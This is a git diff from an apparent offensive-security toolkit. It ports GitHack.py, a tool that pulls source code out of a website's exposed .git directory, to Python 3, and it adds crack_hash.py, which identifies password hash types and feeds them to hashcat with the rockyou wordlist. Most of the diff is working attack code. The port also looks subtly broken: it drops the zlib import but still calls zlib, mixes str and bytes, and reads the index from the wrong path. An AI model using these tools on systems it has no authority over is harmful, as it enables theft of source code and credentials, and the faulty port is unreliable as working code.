diff --git a/GitHack.py b/GitHack.py index 021b28b..c5897c0 100644 --- a/GitHack.py +++ b/GitHack.py @@ -1,39 +1,26 @@ #!/usr/bin/env python -# -*- encoding: utf-8 -*- -import sys -import urllib2 -import os -import urlparse -import zlib +from urllib.parse import urlparse import threading -import Queue -import re +import collections +import binascii +import requests +import struct +import queue import time import ssl - -#!/usr/bin/env python -# -# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt -# - -import binascii -import collections -import mmap -import struct import sys - +import os +import re def check(boolean, message): if not boolean: - import sys - print "error: " + message - sys.exit(1) - + print("error: " + message) + exit(1) def parse(filename, pretty=True): - with open(filename, "rb") as o: - f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) + with open(filename, "rb") as f: + # f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) def read(format): # "All binary numbers are in network byte order." @@ -137,41 +124,30 @@ def parse(filename, pretty=True): padlen = (8 - (entrylen % 8)) or 8 nuls = f.read(padlen) - check(set(nuls) == set(['\x00']), "padding contained non-NUL") + check(set(nuls) == set([0]), "padding contained non-NUL") yield entry f.close() -context = ssl._create_unverified_context() -if len(sys.argv) == 1: - msg = """ -A `.git` folder disclosure exploit. By LiJieJie - -Usage: GitHack.py http://www.target.com/.git/ - -bug-report: my[at]lijiejie.com (http://www.lijiejie.com) -""" - print msg - sys.exit(0) - - class Scanner(object): def __init__(self): self.base_url = sys.argv[-1] - self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_') + + self.domain = urlparse(sys.argv[-1]).netloc.replace(':', '_') if not os.path.exists(self.domain): os.mkdir(self.domain) - print '[+] Download and parse index file ...' + + print('[+] Download and parse index file ...') data = self._request_data(sys.argv[-1] + '/index') - with open('index', 'wb') as f: + with open('%s/index' % self.domain, 'wb') as f: f.write(data) - self.queue = Queue.Queue() + self.queue = queue.Queue() for entry in parse('index'): if "sha1" in entry.keys(): self.queue.put((entry["sha1"].strip(), entry["name"].strip())) try: - print entry['name'] + print(entry['name']) except Exception as e: pass self.lock = threading.Lock() @@ -180,45 +156,49 @@ class Scanner(object): @staticmethod def _request_data(url): - request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'}) - return urllib2.urlopen(request, context=context).read() + print(url) + res = requests.get(url, headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'}) + if res.status_code != 200: + raise Exception("Server returned: %d %s" % (res.status_code, res.reason)) + + return res.content def _print(self, msg): self.lock.acquire() try: - print msg + print(msg) except Exception as e: pass self.lock.release() def get_back_file(self): + while not self.STOP_ME: + try: sha1, file_name = self.queue.get(timeout=0.5) except Exception as e: break - for i in range(3): + + try: + folder = '/objects/%s/' % sha1[:2] + data = self._request_data(self.base_url + folder + sha1[2:]) try: - folder = '/objects/%s/' % sha1[:2] - data = self._request_data(self.base_url + folder + sha1[2:]) - try: - data = zlib.decompress(data) - except: - self._print('[Error] Fail to decompress %s' % file_name) + data = zlib.decompress(data) data = re.sub(r'blob \d+\00', '', data) - target_dir = os.path.join(self.domain, os.path.dirname(file_name)) - if target_dir and not os.path.exists(target_dir): - os.makedirs(target_dir) - with open(os.path.join(self.domain, file_name), 'wb') as f: - f.write(data) - self._print('[OK] %s' % file_name) - break - except urllib2.HTTPError, e: - if str(e).find('HTTP Error 404') >= 0: - self._print('[File not found] %s' % file_name) - break - except Exception as e: - self._print('[Error] %s' % str(e)) + except: + # self._print('[Error] Fail to decompress %s' % file_name) + pass + + target_dir = os.path.join(self.domain, os.path.dirname(file_name)) + if target_dir and not os.path.exists(target_dir): + os.makedirs(target_dir) + with open(os.path.join(self.domain, file_name), 'wb') as f: + f.write(data) + self._print('[OK] %s' % file_name) + except Exception as e: + self._print('[Error] %s' % str(e)) + self.exit_thread() def exit_thread(self): @@ -233,12 +213,24 @@ class Scanner(object): if __name__ == '__main__': + context = ssl._create_unverified_context() + if len(sys.argv) == 1: + msg = """ + A `.git` folder disclosure exploit. By LiJieJie + + Usage: GitHack.py http://www.target.com/.git/ + + bug-report: my[at]lijiejie.com (http://www.lijiejie.com) + """ + print(msg) + exit() + s = Scanner() s.scan() try: while s.thread_count > 0: time.sleep(0.1) - except KeyboardInterrupt, e: + except KeyboardInterrupt as e: s.STOP_ME = True time.sleep(1.0) - print 'User Aborted.' + print('User Aborted.') diff --git a/autorecon.py b/autorecon.py index 3727d84..46ba5f2 100644 --- a/autorecon.py +++ b/autorecon.py @@ -147,7 +147,7 @@ def calculate_elapsed_time(start_time): return ', '.join(elapsed_time) port_scan_profiles_config_file = 'port-scan-profiles.toml' -with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r') as p: +with open(os.path.join(rootdir, 'autorecon_config', port_scan_profiles_config_file), 'r') as p: try: port_scan_profiles_config = toml.load(p) @@ -157,13 +157,13 @@ with open(os.path.join(rootdir, 'config', port_scan_profiles_config_file), 'r') except toml.decoder.TomlDecodeError as e: fail('Error: Couldn\'t parse {port_scan_profiles_config_file} config file. Check syntax and duplicate tags.') -with open(os.path.join(rootdir, 'config', 'service-scans.toml'), 'r') as c: +with open(os.path.join(rootdir, 'autorecon_config', 'service-scans.toml'), 'r') as c: try: service_scans_config = toml.load(c) except toml.decoder.TomlDecodeError as e: fail('Error: Couldn\'t parse service-scans.toml config file. Check syntax and duplicate tags.') -with open(os.path.join(rootdir, 'config', 'global-patterns.toml'), 'r') as p: +with open(os.path.join(rootdir, 'autorecon_config', 'global-patterns.toml'), 'r') as p: try: global_patterns = toml.load(p) if 'pattern' in global_patterns: diff --git a/config/global-patterns.toml b/autorecon_config/global-patterns.toml similarity index 100% rename from config/global-patterns.toml rename to autorecon_config/global-patterns.toml diff --git a/config/port-scan-profiles.toml b/autorecon_config/port-scan-profiles.toml similarity index 100% rename from config/port-scan-profiles.toml rename to autorecon_config/port-scan-profiles.toml diff --git a/config/service-scans.toml b/autorecon_config/service-scans.toml similarity index 100% rename from config/service-scans.toml rename to autorecon_config/service-scans.toml diff --git a/crack_hash.py b/crack_hash.py new file mode 100644 index 0000000..58bea2f --- /dev/null +++ b/crack_hash.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +import sys +import requests +import subprocess +import enum +import re +import tempfile +import base64 +import io +from bs4 import BeautifulSoup + +HEX_PATTERN = re.compile("^[a-fA-F0-9]+$") +B64_PATTERN = re.compile("^[a-zA-Z0-9+/=]+$") +B64_URL_PATTERN = re.compile("^[a-zA-Z0-9=_-]+$") + +class HashType(enum.Enum): + + # MD5 + RAW_MD4 = 900 + RAW_MD5 = 0 + MD5_PASS_SALT = 10 + MD5_SALT_PASS = 20 + + # SHA1 + RAW_SHA1 = 100 + SHA1_PASS_SALT = 110 + SHA1_SALT_PASS = 120 + + # SHA2 + RAW_SHA2_224 = 1300 + RAW_SHA2_256 = 1400 + RAW_SHA2_384 = 10800 + RAW_SHA2_512 = 1700 + SHA512_PASS_SALT = 1710 + SHA512_SALT_PASS = 1720 + + # SHA3 + RAW_SHA3_224 = 17300 + RAW_SHA3_256 = 17400 + RAW_SHA3_384 = 17500 + RAW_SHA3_512 = 17600 + + # Keccak + RAW_KECCAK_224 = 17700 + RAW_KECCAK_256 = 17800 + RAW_KECCAK_384 = 17900 + RAW_KECCAK_512 = 18000 + + # Ripe-MD + RAW_RIPEMD_160 = 6000 + + # Crypt + CRYPT_MD5 = 500 + CRYPT_BLOWFISH = 3200 + CRYPT_SHA256 = 7400 + CRYPT_SHA512 = 1800 + CRYPT_APACHE = 1600 + +class Hash: + + def __init__(self, hash): + self.hash = hash + self.salt = None + self.isSalted = False + self.type = [] + self.cracked = None + self.findType() + + def findType(self): + + raw_hash = self.hash + if raw_hash[0] == "$": + crypt_parts = list(filter(None, raw_hash.split("$"))) + crypt_type = crypt_parts[0] + self.isSalted = len(crypt_parts) > 2 + if crypt_type == "1": + self.type.append(HashType.CRYPT_MD5) + elif crypt_type.startswith("2"): + self.type.append(HashType.CRYPT_BLOWFISH) + elif crypt_type == "5": + self.type.append(HashType.CRYPT_SHA256) + elif crypt_type == "6": + self.type.append(HashType.CRYPT_SHA512) + elif crypt_type == "apr1": + self.type.append(HashType.CRYPT_APACHE) + else: + self.isSalted = ":" in raw_hash + if self.isSalted: + raw_hash, self.salt = raw_hash.split(":") + + # Base64 -> hex + try: + if not HEX_PATTERN.match(raw_hash): + + if B64_URL_PATTERN.match(raw_hash): + raw_hash = raw_hash.replace("-","+").replace("_","/") + if B64_PATTERN.match(raw_hash): + raw_hash = base64.b64decode(raw_hash.encode("UTF-8")).decode("UTF-8").hex() + + if self.isSalted: + self.hash = raw_hash + ":" + self.salt + else: + self.hash = raw_hash + except: + pass + + if HEX_PATTERN.match(raw_hash): + hash_len = len(raw_hash) + if hash_len == 32: + if self.isSalted: + self.type.append(HashType.MD5_PASS_SALT) + self.type.append(HashType.MD5_SALT_PASS) + else: + self.type.append(HashType.RAW_MD5) + self.type.append(HashType.RAW_MD4) + elif hash_len == 40: + if self.isSalted: + self.type.append(HashType.SHA1_PASS_SALT) + self.type.append(HashType.SHA1_SALT_PASS) + else: + self.type.append(HashType.RAW_SHA1) + self.type.append(HashType.RAW_MD4) + self.type.append(HashType.RAW_RIPEMD_160) + elif hash_len == 96: + if not self.isSalted: + self.type.append(HashType.RAW_SHA2_384) + self.type.append(HashType.RAW_SHA3_384) + self.type.append(HashType.RAW_KECCAK_384) + elif hash_len == 128: + if self.isSalted: + self.type.append(HashType.SHA512_PASS_SALT) + self.type.append(HashType.SHA512_SALT_PASS) + else: + self.type.append(HashType.RAW_SHA2_512) + self.type.append(HashType.RAW_SHA3_512) + self.type.append(HashType.RAW_KECCAK_256) + + if len(self.type) == 0: + print("%s: Unknown hash" % self.hash) + +if len(sys.argv) < 2: + print("Usage: %s " % sys.argv[0]) + exit(1) + +hashes = [Hash(x) for x in filter(None, [line.strip() for line in open(sys.argv[1],"r").readlines()])] + +uncracked_hashes = { } +for hash in hashes: + if hash.type: + for t in hash.type: + if t not in uncracked_hashes: + uncracked_hashes[t] = [] + uncracked_hashes[t].append(hash) + +if len(uncracked_hashes) > 0: + uncracked_types = list(uncracked_hashes.keys()) + num_types = len(uncracked_types) + if num_types > 0: + print("There are multiple uncracked hashes left with different hash types, choose one to proceed with hashcat:") + print() + + i = 0 + for t,lst in uncracked_hashes.items(): + print("%d.\t%s:\t%d hashe(s)" % (i, str(t)[len("HashType."):], len(lst))) + i += 1 + + # Ask user… + selected = None + while selected is None or selected < 0 or selected >= num_types: + try: + selected = int(input("Your Choice: ").strip()) + if selected >= 0 and selected < num_types: + break + except Exception as e: + if type(e) in [EOFError, KeyboardInterrupt]: + print() + exit() + + print("Invalid input") + selected_type = uncracked_types[selected] + else: + selected_type = uncracked_types[0] + + fp = tempfile.NamedTemporaryFile() + for hash in uncracked_hashes[selected_type]: + fp.write(b"%s\n" % hash.hash.encode("UTF-8")) + fp.flush() + + proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, "/usr/share/wordlists/rockyou.txt", "--force"]) + proc.wait() + fp.close() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..d9ae0f4 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,6 @@ +netifaces==0.10.9 +colorama==0.4.3 +requests==2.23.0 +toml==0.10.0 +paramiko==2.7.1 +beautifulsoup4==4.9.1